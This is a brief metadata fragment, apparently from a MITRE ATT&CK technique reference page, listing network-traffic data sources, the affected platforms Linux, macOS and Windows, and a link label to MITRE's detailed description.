Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre